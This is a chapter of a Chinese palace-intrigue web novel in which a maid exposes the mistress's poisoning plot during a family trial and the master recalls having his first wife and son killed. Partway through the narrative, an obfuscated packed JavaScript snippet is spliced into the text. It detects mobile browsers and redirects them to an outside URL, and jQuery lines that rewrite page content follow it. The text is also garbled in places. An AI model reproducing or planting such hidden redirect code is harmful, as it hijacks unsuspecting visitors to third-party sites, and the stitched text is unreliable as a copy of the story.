94. 犬犬相吠
作品:《段姑娘每天打两份工》 承恩堂灯火通明,门窗关得严实,风雨不进,不过这会儿下午那场雨早已消停,只有秋夜侧侧寒风,时时拂动悬在檐下的两盏宫灯。
侍候在廊下的两名仆役,垂手肃容而立,猝然闻得一物破空而响,疾风掠过,不及防备,这二人脖颈穴位中招,登时昏晕过去。
幽幽灯影里,蓦然却一双黑靴拾级而上,紧跟着是双鹦哥绿的女子绣鞋,两道人影,宛如鬼魅般停驻在窗前。
窗内,灯烛煌煌的大堂,围坐着的都是府里最xx的人,。
郑鹤秋端坐在一把太师椅上,旁边是他夫人吴蕙芳,左右下首则是他的两位姨娘孙氏和柳氏,两边站着伺候的丫鬟、小厮都是各人心腹,而大堂正中央,石砖地上跪着一名鹅黄裙衫,俏生生的小丫头。
他们到得不算太晚,正好赶上郑家主君审问地下跪着的丫头。
不过陈雪游现在还不明白,接下来要唱一出什么样的戏。
她满脸茫然地看着周元澈,忽见他勾唇轻笑,一副稳操胜券的样子。
“看好了,接下来你就会看到一场狗咬狗的大戏。”
但有一点她很清楚,周元澈这么折腾郑家的人,无非就是为了报复他那个没天良没人性的爹。
这么说来,这场戏倒还有些看头。
“你,是叫明月?”郑鹤秋凤眼微眯,打量着地上那丫头。
“是。”
“近来下人里头都在传,说是孙姨娘放火杀人,这谣言据闻,是从你这里传来的?”
褚明月点头应道:“的确是奴婢所传。”
孙姨娘听见这话,眉梢微挑,勉强定住心神。
郑老爷不慌不忙,既不着急叱责丫头,也不忙质问孙氏,继续询问道:“那你传的这些话,到底是谣言呢,还是确有其事?”
褚明月面色惶恐,姿态愈发谦恭,“回、回老爷的话,奴婢的确传过这些话。但,奴婢也是听人说的。”
“哦,是谁?谁教你说这些话的?”
孙若兰狠捏了把汗,紧张地盯着褚明月的脸,目光锋利得像要把她整个人凿穿。
“奴婢忘了。”明月说罢,状似不经意之间瞥了太太一眼。
这微不可察的一眼,不料竟被郑鹤秋抓住,当下他什么都明白了。
“你不要怕,知道什么全说出来。”
褚明月犹豫片刻,吞吞吐吐道:“是、是太太啊!都是太太的意思,奴婢也不想的,孙姨娘,您大人有大量,不要跟奴婢一般见识!”她边说边哭,对着孙姨娘不停磕头。
孙姨娘大惊,万料不到,顷刻之间,事情竟发生了翻天覆地的变化,当即从椅子上下来,扶住丫头明月,安慰道:“好孩子,别这样,有什么事你只管都说出来,姨娘和老爷都会替你做主的。”
褚明月伸手抹掉眼泪,慢慢道出原委:“是太太,之前设计陷害表小姐,一石二鸟之计成功后,又打算借着这次的大火挑拨您和二爷的关系,好将您彻底击垮。”
吴氏愤然拍桌:“简直是胡说八道!梁安,快把她拖出去,打她六十板子!”
“慢着。”郑鹤秋继续追问:“太太待你不薄,你为什么要告发她?”
褚明月哽咽道:“老爷,奴婢是害怕。您还记得表小姐身边的珍珠么?若非有她帮忙,太太陷害表小姐的事不会那么顺利,可她去到庄子上,没多久突然暴毙。所以,奴婢害怕,再这样下去,也要跟珍珠一样,死无葬身之地了。”
“老爷,您可不能听这丫头胡言乱语,凡事得讲究证据。”
孙姨娘见形势越来越有利于自己,当然要赶着借势煽风点火,于是捏着帕子假模假样擦着眼角。
“老爷,我看这丫头说得情真意切,多半是真的。柳妹妹,你觉得呢?”
柳姨娘本恨吴氏,听见这席话,自是深信不疑,不过仍是强抑住心中怒火,接过话道:“妹妹不敢断言,妾想着,太太向来待我家池儿不错的,想必这里头有什么误会也未可知。”
褚明月接话道:“柳姨娘还是将人想得太好,殊不知人心险恶,有的人,是佛口蛇心,平时有意纵着池哥儿,惯得他无法无天,将来惹是生非,一旦遇到什么坏事,不是哥儿做的,也成他做的了。”
柳姨娘故意装出恍然大悟的样子,“原来如此!当真是用心险恶呐!”转头泪眼婆娑看向郑鹤秋,“老爷,这都是妾身的错,要是当初不和您置气,池儿岂能落得这个下场!”
太太吴氏十分不悦,厉声出言:“柳姨娘,你莫要信下人撺掇。褚明月,说了这么多,你有什么证据?是不是有人在背后教唆你,你说出来,夫人替你做主!”
“夫人,对不起,我真的不能再替您作孽了,会有报应的!”褚明月摇摇头,转头看向郑鹤秋,“关妈妈房里还留着谋害四爷的合欢散,老爷您搜一搜便知。”
梁安闻言,立刻叫了几个人随同去关妈妈房里搜。尚不知情的关妈妈措手不及,还没回过神来,自己私藏的两瓶合欢散就被搜出来,连人带药一同提至承恩堂来。
郑鹤秋拿着两瓶合欢散,仔细端详半天,想揭开瞧瞧,又觉不妥,忙将其放在桌案上。
铁青着脸,目光犀利地看着关妈妈,“关妈妈,你一个老妈子,留着这东西做什么?”
关妈妈抬起头,茫然看向太太,心里已明白是怎么回事,她们步步为营,精心策划的计谋,终于还是被人堪破。
只是她怎么也不明白,这么精密的计划,相关人员大都被灭口,到底是怎么泄露的?更何况,跟他们联手的,是靖卫司的那位大人,他们有着共同的仇人。有靖卫司的人各处调节,所有蛛丝马迹都被抹除,是绝对不可能有其他人知道的。
她转过头看向褚明月,更加困惑。
不过是一个小丫头片子罢了。
“老爷,这不关太太的事,都是老身的错。”关妈妈叹了口气,彻底认输,“所有的事,都是老身一手策划,太太什么都不知道。”
太太吴氏随机应变,捶胸顿足哭道:“关妈妈,你好糊涂呀!”
戏作到一半,褚明月无情撕破二人面具:“太太和关妈妈谋划时,奴婢记得李姑娘也在房里,老爷不如把李姑娘找回来问问?”
吴氏心头一凛,喝道:“够了,你闭嘴!”
她彻底没招。
她这侄女红英是个正直善良的孩子,虽然不知道自己的姨妈策划了这些事,但曾经主动来告知何玉鸾意图下药。
而她却故意不去阻止,这还能说明什么呢?
“红英才出嫁,去找她做什么?况且那天她不过是来告诉我,何玉鸾要做下药害那个姓段的丫头,叫我阻止来着。她是个心地善良的孩子,你们别攀扯上她!”
柳姨娘诧道:“这么说,太太是承认了?太太你的心好狠啊,竟连池儿性命都不放过!你养了他这么些年,就一点母子感情都没有吗?”
吴氏只是沉默不言。
有个屁,不过是枚棋子罢了!<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133124|188618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>谁在乎棋子的死活?
“可是这孩子,他心里头是真把你当他亲生娘亲的,太太,你真的太无情了!你不配为人母!你去看看砚白,他要是知道自己的母亲害死自己的哥哥,他会怎么想你?”
“你住口!住口!”慈眉善目的吴氏骤然间狰狞如恶鬼,“你一个窑子里出来的贱人,有什么资格跟我这般说话?”
“是啊,妹妹是窑子出来的,但尚且知道稚子无辜。太太莫非连娼妇表子都不如?”
郑鹤秋看着二人争吵,脑子里一团乱麻。
他手里还有一堆,对孙姨娘很不利的供词,亏得周大人帮他压了下来,否则万一捅出去,六科那些言官肯定要抓着他不放了。
没想到,孙姨娘马上接力,继续煽风点火,冲着郑鹤秋哭号哭不止,“老爷,你要为玉鸾和池哥儿做主啊!太太如此无德,残害子嗣,不配为人母亲,老爷可千万不要顾念夫妻情分,一定要秉公处理啊!”
“你住嘴!别以为自己有多干净!”
孙姨娘被他的咆哮怒吼吓住,识趣地闭上嘴巴。
不过经她这么一提醒,他忽然意识到,自己唯独就剩下这么一个中用的儿子郑砚白,可小五身子很弱,也不知将来能不能承继香火,考取功名,光耀他郑家门楣。
若是砚清那孩子还活着……
他的长子郑砚清,聪明伶俐,生性活泼好动,是个非常健康非常乖巧极有孝心的好孩子。
郑鹤秋眼底忽然露出几分痛惜。
多年前,自己派人杀了她们母子,以此断他后顾之忧,没想到,今日看来,却极有可能断了他这一脉香火。
如今真是悔之晚矣,可当初他真是一点办法都没有。原本是不想让这母子俩死的,奈何夫人威逼。
他的夫人吴氏原是前首辅的女儿,名门望族,若他不斩草除根,他就别想在京城立足。
这都是吴氏害他,害得他子嗣单薄,妻离子散。
郑鹤秋充满怨念地看着自己的发妻,心里的恨意达到顶点。
“夫人呐,你害得我好苦啊。”
太太吴氏突然怔住,眼泪长流,“我害你,我害你什么了?你难道就很无辜么?”
两个人相对无言,默然洒泪。
有些秘密,只有他们夫妻俩知道。
不过有些秘密,连他们夫妻俩都不知道。
那就是,当年的那个孩子还活着。
当年派出去的那名杀手在杀了母亲周蘅之后,马上追到破庙,动手的时候,那孩子正在熟睡。
也是巧合,因着下雨的缘故,那庙里的观音像突然流泪,杀手举起的刀停在半空,他愣住了。
突然觉得很不详,连另一半佣金都没要,从此退隐江湖,萍踪浪影,再没人找得到他。
夜浓如泼墨,远望可见承恩堂屋脊蹲着两个兽头,近看才能知道那是两个会动的人。
陈雪游趴在四四方方的洞口边,她目力不佳,耳力也不行,但还是倔强地偷窥,只是需要周元澈在旁复述。
他们练武之人,就是这点好,简直是千里眼,顺风耳。
可突然,他身后的人久久没开口。
“你怎么不继续了?”
身后那人有气无力答道:“不知道,我也听不见。”
忽然,下雨了,一滴、两滴,渗进她脖子里面,但这雨却是温热的,带着浓烈的血腥气。
她猛然回头,只见周元澈口吐鲜血,朝她怀里栽倒。

